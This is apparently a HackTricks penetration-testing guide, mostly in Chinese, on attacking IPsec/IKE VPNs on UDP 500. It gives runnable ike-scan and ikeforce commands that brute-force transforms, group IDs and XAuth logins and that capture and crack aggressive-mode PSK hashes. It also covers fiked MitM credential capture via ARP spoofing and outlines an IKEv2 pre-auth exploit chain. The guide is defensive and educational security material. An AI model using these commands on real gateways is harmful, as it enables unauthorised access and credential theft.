500/udp - Pentesting IPsec/IKE VPN
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
IPsec 被广泛认为是用于保护网络之间(LAN-to-LAN)以及远程用户到网络网关(远程访问)通信的主要技术,是企业 VPN 解决方案的骨干。
在两点之间建立 安全关联 (SA) 是由 IKE 管理的,IKE 在 ISAKMP 之下运行,ISAKMP 是为认证和密钥交换设计的协议。该过程分为若干阶段:
- Phase 1: 在两个端点之间创建一个安全通道。这通过使用 预共享密钥 (PSK) 或证书来实现,可采用 main mode(涉及三对消息)或 aggressive mode。
- Phase 1.5: 虽然不是强制性的,但此阶段(称为 Extended Authentication Phase)通过要求用户名和密码来验证尝试连接的用户的身份。
- Phase 2: 此阶段用于协商用于用 ESP 和 AH 保护数据的参数。它允许使用与 Phase 1 不同的算法以确保 Perfect Forward Secrecy (PFS),从而增强安全性。
默认端口: 500/udp
也常见暴露:4500/udp (NAT Traversal)
发现 使用 nmap 查找服务
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
找到一个有效的变换
IPSec 配置可能只被设置为接受一个或几个变换。变换是一组值的组合。每个变换 包含若干属性,比如 DES 或 3DES 作为 加密算法、SHA 或 MD5 作为 完整性算法、pre-shared key 作为 认证类型、Diffie-Hellman 1 或 2 作为密钥 分发算法,以及 28800 秒作为 生存期。
因此,你首先要做的是 找到一个有效的变换,让服务器愿意与您通信。为此,你可以使用工具 ike-scan。默认情况下,Ike-scan 在 main mode 下工作,并向网关发送一个带有 ISAKMP 头的包,包含单个 proposal,里面有 八个变换。
根据响应,你可以获得一些关于端点的信息:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester).
最后一行的值也非常重要:
- 0 returned handshake; 0 returned notify: 这表示目标 不是 IPsec gateway。
- 1 returned handshake; 0 returned notify: 这表示 目标已配置为 IPsec 并愿意执行 IKE 协商,且你提出的一个或多个 transforms 是可接受的(输出中会显示一个有效的 transform)。
- 0 returned handshake; 1 returned notify: 当 没有任何 transforms 是可接受的 时,VPN gateways 会以 notify 消息响应(不过有些 gateways 不会这样,这种情况下应进行进一步分析并尝试修订后的 proposal)。
在本例中我们已经有一个有效的 transformation,但如果你遇到第 3 种情况,则需要通过一些 brute-force 来找到一个有效的 transformation:
First of all you need to create all the possible transformations:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
然后对每一个使用 ike-scan 进行 brute-force(这可能需要几分钟):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
如果 brute-force 没有成功,可能服务器即使对有效的 transforms 也不会进行握手响应。然后,你可以尝试用 aggressive mode 做同样的 brute-force:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
希望 能回显一个有效的转换。
你可以使用 iker.py 尝试 same attack。
你也可以尝试使用 ikeforce 对转换进行 brute force:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH
Cisco 指出应避免使用 DH groups 1 和 2,因为它们强度不足。专家认为,资源充足的国家可以轻易破解 使用这些弱组加密的数据。这是通过一种预计算的方法实现的,该方法使得后续破译速度非常快。尽管构建这种能力成本很高,但它使这些强国能够实时读取使用弱组(例如 1024 位或更小)加密的数据。
服务器指纹识别
然后,你可以使用 ike-scan 尝试 识别设备厂商。该工具发送初始提议并停止重放。接着,它会分析来自服务器的接收消息与匹配响应模式之间的时间差异,pentester 因此能够成功对 VPN 网关进行厂商指纹识别。此外,某些 VPN 服务器会在 IKE 中使用可选的 Vendor ID (VID) payload。
如有需要,指定有效的转换 (using –trans)
如果 IKE 识别出厂商,会打印出来:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
这也可以使用 nmap script ike-version 实现。
IKEv2 特定:WatchGuard Vendor ID 版本 fingerprinting
某些 IKEv2 守护进程在 IKE_SA_INIT 响应中包含非标准的 Vendor ID payloads。WatchGuard Fireware OS 将设备的版本/构建信息直接编码在 VID 内,从而允许单包、pre-auth fingerprinting。
- 传输:UDP/500(及 UDP/4500 用于 NAT-T)
- 报文:IKE_SA_INIT 响应包含一个或多个 Vendor ID payloads
- WatchGuard 格式:32-byte hash,后面跟着 base64,解码后例如
VN=12.11.3 BN=719894
下面是来自 WatchGuard VID payload 的原始字节示例(最后 12 字节为 base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
在有 base64 尾部时,在 shell 中快速提取:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
注意
- 这不属于任何 IKEv2 RFC 的一部分。将其视为厂商特性,用于快速定位暴露/易受攻击的 Fireware OS 版本。
- 你只需要引出一个 IKE_SA_INIT 回复;不需要认证。
找到正确的 ID(组名)
要捕获 hash,你需要一个支持 Aggressive mode 的有效 transformation,并使用正确的 ID(组名)。你可能不知道有效的组名,因此需要对其进行 brute-force。
为此,我建议你两种方法:
使用 ike-scan 对 ID 进行 Bruteforcing
首先尝试用一个伪造的 ID 发送请求以收集 hash(“-P”):
ike-scan -P -M -A -n fakeID <IP>
如果 no hash is returned,那么这种 brute forcing 方法很可能有效。如果返回了某些 hash,则意味着对于伪造的 ID 会返回一个伪造的 hash,因此该方法在 brute-force ID 时不可靠。例如,可能会返回一个伪造的 hash(这在现代版本中会发生):
.png)
但是如我所说,如果没有返回 hash,那么你应该尝试使用 ike-scan 对常见的 group names 进行 brute-force。
该脚本 will try to brute-force possible IDs 并会返回那些返回有效 handshake 的 IDs(这将是一个有效的 group name)。
如果你发现了一个具体的 transformation,请将其添加到 ike-scan 命令中。如果你发现了多个 transformations,随意添加一个新的 loop 来尝试它们(你应该全部尝试,直到其中一个正常工作)。
你可以使用 the dictionary of ikeforce or the one in seclists of common group names to brute-force them:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Bruteforcing ID with Iker
iker.py also uses ike-scan to bruteforce possible group names. It follows it’s own method to find a valid ID based on the output of ike-scan.
Bruteforcing ID with ikeforce
ikeforce.py is a tool that can be used to brute force IDs also. This tool will try to exploit different vulnerabilities that could be used to distinguish between a valid and a non-valid ID (could have false positives and false negatives, that is why I prefer to use the ike-scan method if possible).
By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.
- The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
- The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
- The third method consist on searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
- Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
Obviously, the goal of brute forcing the id is to get the PSK when you have a valid id. Then, with the id and PSK you will have to bruteforce the XAUTH (if it is enabled).
If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): 也可以通过 sniffing VPN 客户端与服务器之间的连接来获取有效的用户名,因为包含客户端 ID 的第一个 Aggressive Mode 数据包是以明文发送的
.png)
Aggressive Mode identity leakage
Aggressive Mode 必须尽早发送 ID,以便网关在存在 multiple groups/users 时能选择正确的 PSK。这意味着 identity is exposed pre-auth,与 Main Mode 不同,Main Mode 在后续的数据包中对其进行了加密。你可以快速提取它:
ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)
如果启用了 Aggressive Mode,请抓取可被破解的 PSK 握手并在离线环境中破解(hashcat mode 5400):
ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt
恢复的 PSKs 经常被作为其他服务的凭据(重复使用)(SSH, VPN client auth),因此应针对暴露的服务进行测试。
Capturing & cracking the hash
最后,如果你已经找到了一个有效的转换和组名,并且激进模式被允许,那么你就可以非常容易地抓取可破解的哈希:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
该 hash 将被保存到 hash.txt。
你可以使用 psk-crack, john (使用 ikescan2john.py) 和 hashcat 来 crack 该 hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE 配合 Pre-Shared Key (PSK) 通常用于 组认证。该方法通过 XAuth (Extended Authentication) 得到增强,用以引入额外的 用户认证 层。此类认证通常使用 Microsoft Active Directory、RADIUS 或类似系统。
迁移到 IKEv2 时,出现了显著变化:为了认证用户,使用 EAP (Extensible Authentication Protocol) 代替 XAuth。这一变化凸显了安全通信协议中认证实践的演进。
本地网络 MitM 捕获凭证
因此,你可以使用 fiked 捕获登录数据并查看是否存在任何默认用户名(你需要将 IKE 流量重定向到 fiked 以便进行 sniffing,这可以借助 ARP spoofing 完成,more info)。Fiked 将作为 VPN 端点并捕获 XAuth 凭证:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
另外,使用 IPSec 尝试进行 MitM 攻击并阻断所有到 port 500 的流量;如果 IPSec tunnel 无法建立,流量可能会以明文发送。
使用 ikeforce 对 XAUTH username 和 password 进行 Brute-forcing
要对 XAUTH 进行 brute force(当你知道一个有效的 group name id 和 psk 时),你可以使用单个 username 或 username 列表,以及一个 password 列表:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
这样,ikeforce 会尝试使用每一种 username:password 组合进行连接。
如果你找到了一个或多个有效的 transforms,就像之前的步骤那样使用它们。
使用 IPSEC VPN 进行认证
在 Kali 中,VPNC 用于建立 IPsec 隧道。配置文件(profiles) 必须位于目录 /etc/vpnc/。你可以使用命令 vpnc 来启动这些配置文件。
下面的命令和配置演示了使用 VPNC 建立 VPN 连接的过程:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
在此配置中:
- 将
[VPN_GATEWAY_IP]替换为 VPN 网关的实际 IP 地址。 - 将
[VPN_CONNECTION_ID]替换为 VPN 连接的标识符。 - 将
[VPN_GROUP_SECRET]替换为 VPN 的 group secret。 - 将
[VPN_USERNAME]和[VPN_PASSWORD]替换为 VPN 的认证凭据。 [PID]表示在vpnc启动时所分配的进程 ID。
配置 VPN 时请使用真实且安全的值替换占位符。
IKEv2 利用说明:pre-auth IDi/CERT 处理漏洞
现代 VPN 设备通常在 UDP/500(以及用于 NAT-T 的 UDP/4500)上暴露 IKEv2。一个常见的 pre-auth 攻击面是在 IKE_SA_AUTH 期间解析 Identification (IDi) 和 Certificate 负载时出现的漏洞。
当存在易受攻击的 IKEv2 解析器时,高级利用流程:
- 发送一个有效的 IKE_SA_INIT 以协商 transforms 并完成 Diffie–Hellman。
- 随后发送携带触发 bug 的 IDi 的 IKE_SA_AUTH(例如,在证书验证之前,一个超大的 Identification 被复制进固定大小的栈缓冲区)。
- 由此产生的内存损坏可能导致对保存的寄存器和返回地址的控制。
- 在启用 NX 但缺少其它缓解(无 PIE/ca naries)的情况下,构建 ROP 链以对栈页调用 mprotect,然后将执行枢转到注入的 shellcode 或常驻解释器(例如 /usr/bin/python3),如果没有 /bin/sh 可用。
在某些 IKEv2 设备上观察到的示例默认 transforms(WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
实用提示
- 同时针对 UDP/500 和 UDP/4500;NAT-T 服务器可能只在 4500 上响应。
- 增加基于 UDP 的扫描器的接收缓冲和超时时间以避免丢包。
- 如果该服务暴露自定义 Vendor IDs(见上文),在尝试任何利用流量之前使用它们快速指纹化易受攻击的版本。
参考资料
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


